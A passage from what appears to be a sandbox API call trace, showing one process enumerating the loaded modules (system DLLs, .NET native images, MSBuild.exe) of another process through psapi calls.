hProcess=0x514, hModule=0x745b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0057.391] GetLastError () returned 0x2 [0057.392] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x745b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0057.392] GetLastError () returned 0x2 [0057.392] GetModuleInformation (in: hProcess=0x514, hModule=0x73a20000, lpmodinfo=0x277e728, cb=0xc | out: lpmodinfo=0x277e728*(lpBaseOfDll=0x73a20000, SizeOfImage=0xf1000, EntryPoint=0x0)) returned 1 [0057.393] GetLastError () returned 0x2 [0057.393] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73a20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Configuration.ni.dll") returned 0x1b [0057.394] GetLastError () returned 0x2 [0057.394] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73a20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\system.configuration.ni.dll")) returned 0x80 [0057.395] GetLastError () returned 0x2 [0057.395] GetModuleInformation (in: hProcess=0x514, hModule=0x72480000, lpmodinfo=0x277f908, cb=0xc | out: lpmodinfo=0x277f908*(lpBaseOfDll=0x72480000, SizeOfImage=0x536000, EntryPoint=0x0)) returned 1 [0057.396] GetLastError () returned 0x2 [0057.396] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x72480000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Xml.ni.dll") returned 0x11 [0057.397] GetLastError () returned 0x2 [0057.397] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x72480000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll")) returned 0x6c [0057.398] GetLastError () returned 0x2 [0057.398] GetModuleInformation (in: hProcess=0x514, hModule=0x739c0000, lpmodinfo=0x2780aac, cb=0xc | out: lpmodinfo=0x2780aac*(lpBaseOfDll=0x739c0000, SizeOfImage=0x52000, EntryPoint=0x739c14be)) returned 1 [0057.399] GetLastError () returned 0x2 [0057.399] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x739c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasapi32.dll") returned 0xc [0057.400] GetLastError () returned 0x2 [0057.400] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x739c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")) returned 0x20 [0057.401] GetLastError () returned 0x2 [0057.401] GetModuleInformation (in: hProcess=0x514, hModule=0x74720000, lpmodinfo=0x2781bb0, cb=0xc | out: lpmodinfo=0x2781bb0*(lpBaseOfDll=0x74720000, SizeOfImage=0x15000, EntryPoint=0x747212de)) returned 1 [0057.402] GetLastError () returned 0x2 [0057.402] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74720000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasman.dll") returned 0xa [0057.403] GetLastError () returned 0x2 [0057.403] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74720000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")) returned 0x1e [0057.404] GetLastError () returned 0x2 [0057.404] GetModuleInformation (in: hProcess=0x514, hModule=0x74710000, lpmodinfo=0x2782cac, cb=0xc | out: lpmodinfo=0x2782cac*(lpBaseOfDll=0x74710000, SizeOfImage=0xd000, EntryPoint=0x74711326)) returned 1 [0057.405] GetLastError () returned 0x2 [0057.405] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74710000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rtutils.dll") returned 0xb [0057.406] GetLastError () returned 0x2 [0057.406] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74710000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")) returned 0x1f [0057.407] GetLastError () returned 0x2 [0057.407] GetModuleInformation (in: hProcess=0x514, hModule=0x73980000, lpmodinfo=0x2783da8, cb=0xc | out: lpmodinfo=0x2783da8*(lpBaseOfDll=0x73980000, SizeOfImage=0x3c000, EntryPoint=0x7398145d)) returned 1 [0057.408] GetLastError () returned 0x2 [0057.408] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mswsock.dll") returned 0xb [0057.409] GetLastError () returned 0x2 [0057.409] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")) returned 0x1f [0057.410] GetLastError () returned 0x2 [0057.410] GetModuleInformation (in: hProcess=0x514, hModule=0x73970000, lpmodinfo=0x2784ea4, cb=0xc | out: lpmodinfo=0x2784ea4*(lpBaseOfDll=0x73970000, SizeOfImage=0x5000, EntryPoint=0x739715df)) returned 1 [0057.411] GetLastError () returned 0x2 [0057.411] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73970000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wshtcpip.dll") returned 0xc [0057.412] GetLastError () returned 0x2 [0057.412] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73970000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wshtcpip.dll" (normalized: "c:\\windows\\system32\\wshtcpip.dll")) returned 0x20 [0057.413] GetLastError () returned 0x2 [0057.413] GetModuleInformation (in: hProcess=0x514, hModule=0x73960000, lpmodinfo=0x2785fa8, cb=0xc | out: lpmodinfo=0x2785fa8*(lpBaseOfDll=0x73960000, SizeOfImage=0x6000, EntryPoint=0x73961673)) returned 1 [0057.414] GetLastError () returned 0x2 [0057.414] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wship6.dll") returned 0xa [0057.415] GetLastError () returned 0x2 [0057.415] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")) returned 0x1e [0057.416] GetLastError () returned 0x2 [0057.416] GetModuleInformation (in: hProcess=0x514, hModule=0x736e0000, lpmodinfo=0x27870a4, cb=0xc | out: lpmodinfo=0x27870a4*(lpBaseOfDll=0x736e0000, SizeOfImage=0x58000, EntryPoint=0x736e13b4)) returned 1 [0057.417] GetLastError () returned 0x2 [0057.417] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x736e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="winhttp.dll") returned 0xb [0057.418] GetLastError () returned 0x2 [0057.418] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x736e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")) returned 0x1f [0057.419] GetLastError () returned 0x2 [0057.419] GetModuleInformation (in: hProcess=0x514, hModule=0x73910000, lpmodinfo=0x27881a0, cb=0xc | out: lpmodinfo=0x27881a0*(lpBaseOfDll=0x73910000, SizeOfImage=0x4f000, EntryPoint=0x73911452)) returned 1 [0057.420] GetLastError () returned 0x2 [0057.420] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73910000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="webio.dll") returned 0x9 [0057.421] GetLastError () returned 0x2 [0057.421] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73910000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")) returned 0x1d [0057.422] GetLastError () returned 0x2 [0057.423] GetModuleInformation (in: hProcess=0x514, hModule=0x736c0000, lpmodinfo=0x2789294, cb=0xc | out: lpmodinfo=0x2789294*(lpBaseOfDll=0x736c0000, SizeOfImage=0x1c000, EntryPoint=0x736ca431)) returned 1 [0057.424] GetLastError () returned 0x2 [0057.424] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x736c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IPHLPAPI.DLL") returned 0xc [0057.425] GetLastError () returned 0x2 [0057.425] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x736c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")) returned 0x20 [0057.426] GetLastError () returned 0x2 [0057.426] GetModuleInformation (in: hProcess=0x514, hModule=0x736b0000, lpmodinfo=0x278a398, cb=0xc | out: lpmodinfo=0x278a398*(lpBaseOfDll=0x736b0000, SizeOfImage=0x7000, EntryPoint=0x736b128d)) returned 1 [0057.427] GetLastError () returned 0x2 [0057.427] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x736b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WINNSI.DLL") returned 0xa [0057.428] GetLastError () returned 0x2 [0057.428] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x736b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WINNSI.DLL" (normalized: "c:\\windows\\system32\\winnsi.dll")) returned 0x1e [0057.429] GetLastError () returned 0x2 [0057.429] GetModuleInformation (in: hProcess=0x514, hModule=0x736a0000, lpmodinfo=0x278b6a4, cb=0xc | out: lpmodinfo=0x278b6a4*(lpBaseOfDll=0x736a0000, SizeOfImage=0xd000, EntryPoint=0x736a2012)) returned 1 [0057.430] GetLastError () returned 0x2 [0057.430] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x736a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc6.DLL") returned 0xd [0057.431] GetLastError () returned 0x2 [0057.431] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x736a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc6.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")) returned 0x21 [0057.432] GetLastError () returned 0x2 [0057.432] GetModuleInformation (in: hProcess=0x514, hModule=0x73680000, lpmodinfo=0x278c7a8, cb=0xc | out: lpmodinfo=0x278c7a8*(lpBaseOfDll=0x73680000, SizeOfImage=0x12000, EntryPoint=0x73683271)) returned 1 [0057.433] GetLastError () returned 0x2 [0057.433] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73680000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc.DLL") returned 0xc [0057.434] GetLastError () returned 0x2 [0057.434] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73680000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")) returned 0x20 [0057.435] GetLastError () returned 0x2 [0057.436] GetModuleInformation (in: hProcess=0x514, hModule=0x73670000, lpmodinfo=0x278d8ac, cb=0xc | out: lpmodinfo=0x278d8ac*(lpBaseOfDll=0x73670000, SizeOfImage=0x8000, EntryPoint=0x736734d3)) returned 1 [0057.437] GetLastError () returned 0x2 [0057.437] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73670000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="credssp.dll") returned 0xb [0057.438] GetLastError () returned 0x2 [0057.438] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73670000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")) returned 0x1f [0057.439] GetLastError () returned 0x2 [0057.439] GetModuleInformation (in: hProcess=0x514, hModule=0x74d00000, lpmodinfo=0x278e9a8, cb=0xc | out: lpmodinfo=0x278e9a8*(lpBaseOfDll=0x74d00000, SizeOfImage=0x27000, EntryPoint=0x74d058b9)) returned 1 [0057.440] GetLastError () returned 0x2 [0057.440] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74d00000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CFGMGR32.dll") returned 0xc [0057.441] GetLastError () returned 0x2 [0057.441] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74d00000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CFGMGR32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")) returned 0x20 [0057.442] GetLastError () returned 0x2 [0057.442] GetModuleInformation (in: hProcess=0x514, hModule=0x73620000, lpmodinfo=0x278faac, cb=0xc | out: lpmodinfo=0x278faac*(lpBaseOfDll=0x73620000, SizeOfImage=0x44000, EntryPoint=0x736363f9)) returned 1 [0057.443] GetLastError () returned 0x2 [0057.443] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73620000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="DNSAPI.dll") returned 0xa [0057.445] GetLastError () returned 0x2 [0057.445] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73620000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\DNSAPI.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")) returned 0x1e [0057.446] GetLastError () returned 0x2 [0057.446] GetModuleInformation (in: hProcess=0x514, hModule=0x73610000, lpmodinfo=0x2790ba8, cb=0xc | out: lpmodinfo=0x2790ba8*(lpBaseOfDll=0x73610000, SizeOfImage=0x6000, EntryPoint=0x736114b2)) returned 1 [0057.447] GetLastError () returned 0x2 [0057.447] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73610000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasadhlp.dll") returned 0xc [0057.448] GetLastError () returned 0x2 [0057.448] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73610000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")) returned 0x20 [0057.449] GetLastError () returned 0x2 [0057.449] GetModuleInformation (in: hProcess=0x514, hModule=0x735d0000, lpmodinfo=0x2791cac, cb=0xc | out: lpmodinfo=0x2791cac*(lpBaseOfDll=0x735d0000, SizeOfImage=0x38000, EntryPoint=0x735d990e)) returned 1 [0057.450] GetLastError () returned 0x2 [0057.450] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x735d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fwpuclnt.dll") returned 0xc [0057.452] GetLastError () returned 0x2 [0057.452] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x735d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\fwpuclnt.dll" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")) returned 0x20 [0057.471] GetLastError () returned 0x2 [0057.471] GetModuleInformation (in: hProcess=0x514, hModule=0x735c0000, lpmodinfo=0x2792e00, cb=0xc | out: lpmodinfo=0x2792e00*(lpBaseOfDll=0x735c0000, SizeOfImage=0x5000, EntryPoint=0x735c11d0)) returned 1 [0057.472] GetLastError () returned 0x2 [0057.472] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x735c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shfolder.dll") returned 0xc [0057.473] GetLastError () returned 0x2 [0057.474] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x735c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll")) returned 0x20 [0057.475] GetLastError () returned 0x2 [0057.475] GetModuleInformation (in: hProcess=0x514, hModule=0x75140000, lpmodinfo=0x2793f04, cb=0xc | out: lpmodinfo=0x2793f04*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0057.476] GetLastError () returned 0x2 [0057.476] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75140000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0057.477] GetLastError () returned 0x2 [0057.477] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75140000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0057.478] GetLastError () returned 0x2 [0057.479] EnumProcessModules (in: hProcess=0x514, lphModule=0x27b4150, cb=0x100, lpcbNeeded=0x26e998 | out: lphModule=0x27b4150, lpcbNeeded=0x26e998) returned 1 [0057.480] GetLastError () returned 0x2 [0057.480] EnumProcessModules (in: hProcess=0x514, lphModule=0x27b425c, cb=0x200, lpcbNeeded=0x26e998 | out: lphModule=0x27b425c, lpcbNeeded=0x26e998) returned 1 [0057.481] GetLastError () returned 0x2 [0057.481] GetModuleInformation (in: hProcess=0x514, hModule=0x400000, lpmodinfo=0x27b449c, cb=0xc | out: lpmodinfo=0x27b449c*(lpBaseOfDll=0x400000, SizeOfImage=0x58000, EntryPoint=0x45224e)) returned 1 [0057.481] GetLastError () returned 0x2 [0057.481] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x400000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSBuild.exe") returned 0xb [0057.481] GetLastError () returned 0x2 [0057.482] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x400000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe")) returned 0x39 [0057.482] GetLastError () returned 0x2 [0057.482] GetModuleInformation (in: hProcess=0x514, hModule=0x77130000, lpmodinfo=0x27b55ec, cb=0xc | out: lpmodinfo=0x27b55ec*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0057.482] GetLastError () returned 0x2 [0057.482] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x77130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0057.482] GetLastError () returned 0x2 [0057.482] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x77130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0057.482] GetLastError () returned 0x2 [0057.482] GetModuleInformation (in: hProcess=0x514, hModule=0x74b20000, lpmodinfo=0x27b66e0, cb=0xc | out: lpmodinfo=0x27b66e0*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0057.482] GetLastError () returned 0x2 [0057.482] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0057.483] GetLastError () returned 0x2 [0057.483] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0057.483] GetLastError () returned 0x2 [0057.483] GetModuleInformation (in: hProcess=0x514, hModule=0x76c20000, lpmodinfo=0x27b77dc, cb=0xc | out: lpmodinfo=0x27b77dc*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0057.483] GetLastError () returned 0x2 [0057.483] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x76c20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0057.483] GetLastError () returned 0x2 [0057.483] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x76c20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0057.483] GetLastError () returned 0x2 [0057.483] GetModuleInformation (in: hProcess=0x514, hModule=0x75960000, lpmodinfo=0x27b88e0, cb=0xc | out: lpmodinfo=0x27b88e0*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0057.484] GetLastError () returned 0x2 [0057.484] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0057.484] GetLastError () returned 0x2 [0057.484] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0057.484] GetLastError () returned 0x2 [0057.484] GetModuleInformation (in: hProcess=0x514, hModule=0x74d40000, lpmodinfo=0x27b9a1c, cb=0xc | out: lpmodinfo=0x27b9a1c*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0057.484] GetLastError () returned 0x2 [0057.484] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74d40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0057.484] GetLastError () returned 0x2 [0057.485] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74d40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0057.485] GetLastError () returned 0x2 [0057.485] GetModuleInformation (in: hProcess=0x514, hModule=0x74e10000, lpmodinfo=0x27bab20, cb=0xc | out: lpmodinfo=0x27bab20*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0057.485] GetLastError () returned 0x2 [0057.485] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74e10000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0057.485] GetLastError () returned 0x2 [0057.485] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74e10000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0057.485] GetLastError () returned 0x2 [0057.485] GetModuleInformation (in: hProcess=0x514, hModule=0x75740000, lpmodinfo=0x27bbc1c, cb=0xc | out: lpmodinfo=0x27bbc1c*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0057.486] GetLastError () returned 0x2 [0057.486] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75740000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0057.486] GetLastError () returned 0x2 [0057.486] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75740000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0057.486] GetLastError () returned 0x2 [0057.486] GetModuleInformation (in: hProcess=0x514, hModule=0x75ee0000, lpmodinfo=0x27bcd18, cb=0xc | out: lpmodinfo=0x27bcd18*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0057.487] GetLastError () returned 0x2 [0057.487] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75ee0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0057.487] GetLastError () returned 0x2 [0057.487] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75ee0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0057.487] GetLastError () returned 0x2 [0057.487] GetModuleInformation (in: hProcess=0x514, hModule=0x74c90000, lpmodinfo=0x27bde64, cb=0xc | out: lpmodinfo=0x27bde64*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0057.487] GetLastError () returned 0x2 [0057.487] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74c90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0057.488] GetLastError () returned 0x2 [0057.488] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74c90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0057.488] GetLastError () returned 0x2 [0057.488] GetModuleInformation (in: hProcess=0x514, hModule=0x74c80000, lpmodinfo=0x27bef60, cb=0xc | out: lpmodinfo=0x27bef60*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0057.488] GetLastError () returned 0x2 [0057.488] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74c80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0057.489] GetLastError () returned 0x2 [0057.489] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74c80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0057.489] GetLastError () returned 0x2 [0057.489] GetModuleInformation (in: hProcess=0x514, hModule=0x74aa0000, lpmodinfo=0x27c0064, cb=0xc | out: lpmodinfo=0x27c0064*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0057.489] GetLastError () returned 0x2 [0057.489] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74aa0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0057.489] GetLastError () returned 0x2 [0057.490] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74aa0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0057.490] GetLastError () returned 0x2 [0057.490] GetModuleInformation (in: hProcess=0x514, hModule=0x75340000, lpmodinfo=0x27c119c, cb=0xc | out: lpmodinfo=0x27c119c*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0057.490] GetLastError () returned 0x2 [0057.490] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75340000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0057.490] GetLastError () returned 0x2 [0057.490] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75340000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0057.491] GetLastError () returned 0x2 [0057.491] GetModuleInformation (in: hProcess=0x514, hModule=0x75ad0000, lpmodinfo=0x27c2298, cb=0xc | out: lpmodinfo=0x27c2298*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0057.491] GetLastError () returned 0x2 [0057.491] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75ad0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0057.491] GetLastError () returned 0x2 [0057.492] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75ad0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0057.492] GetLastError () returned 0x2 [0057.492] GetModuleInformation (in: hProcess=0x514, hModule=0x74f40000, lpmodinfo=0x27c338c, cb=0xc | out: lpmodinfo=0x27c338c*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0057.492] GetLastError () returned 0x2 [0057.492] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74f40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0057.493] GetLastError () returned 0x2 [0057.493] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74f40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0057.493] GetLastError () returned 0x2 [0057.493] GetModuleInformation 